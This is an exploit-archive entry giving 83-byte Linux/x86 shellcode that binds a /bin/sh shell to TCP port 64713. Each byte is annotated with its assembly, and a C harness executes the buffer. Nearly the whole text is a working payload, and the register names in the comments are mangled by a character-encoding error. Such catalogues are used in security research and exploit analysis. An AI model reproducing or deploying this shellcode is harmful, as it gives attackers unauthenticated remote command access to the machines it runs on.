Linux/x86 - Bind TCP (64713/TCP) Shell (/bin/sh) Shellcode (83 bytes)

2009-01-01 17:05:04

/*
* (linux/x86) portbind /bin/sh (port 64713)
* 83 bytes
*
* http://www.gonullyourself.org
* sToRm <[email protected]>
*/

char shellcode[] =
// <_start>:
"\x6a\x66" // push $0x66
"\x58" // pop êx
"\x31\xdb" // xor ëx,ëx
"\x53" // push ëx
"\x43" // inc ëx
"\x53" // push ëx
"\x6a\x02" // push $0x2
"\x89\xe1" // mov %esp,ìx
"\xcd\x80" // int $0x80
"\x31\xd2" // xor íx,íx
"\x52" // push íx
"\x68\xff\x02\xfc\xc9" // push $0xc9fc02ff
"\x89\xe1" // mov %esp,ìx
"\x6a\x10" // push $0x10
"\x51" // push ìx
"\x50" // push êx
"\x89\xe1" // mov %esp,ìx
"\x89\xc6" // mov êx,%esi
"\x43" // inc ëx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\xb0\x66" // mov $0x66,%al
"\x43" // inc ëx
"\x43" // inc ëx
"\xcd\x80" // int $0x80
"\x50" // push êx
"\x56" // push %esi
"\x89\xe1" // mov %esp,ìx
"\x43" // inc ëx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x93" // xchg êx,ëx
"\x6a\x03" // push $0x3
"\x59" // pop ìx
// <fruity_loops>:
"\x49" // dec ìx
"\x6a\x3f" // push $0x3f
"\x58" // pop êx
"\xcd\x80" // int $0x80
"\x75\xf8" // jne <fruity_loops>
"\xf7\xe1" // mul ìx
"\x51" // push ìx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,ëx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80
;

int main() {

int (*f)() = (int(*)())shellcode;
printf("Length: %u\n", strlen(shellcode));
f();

}

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.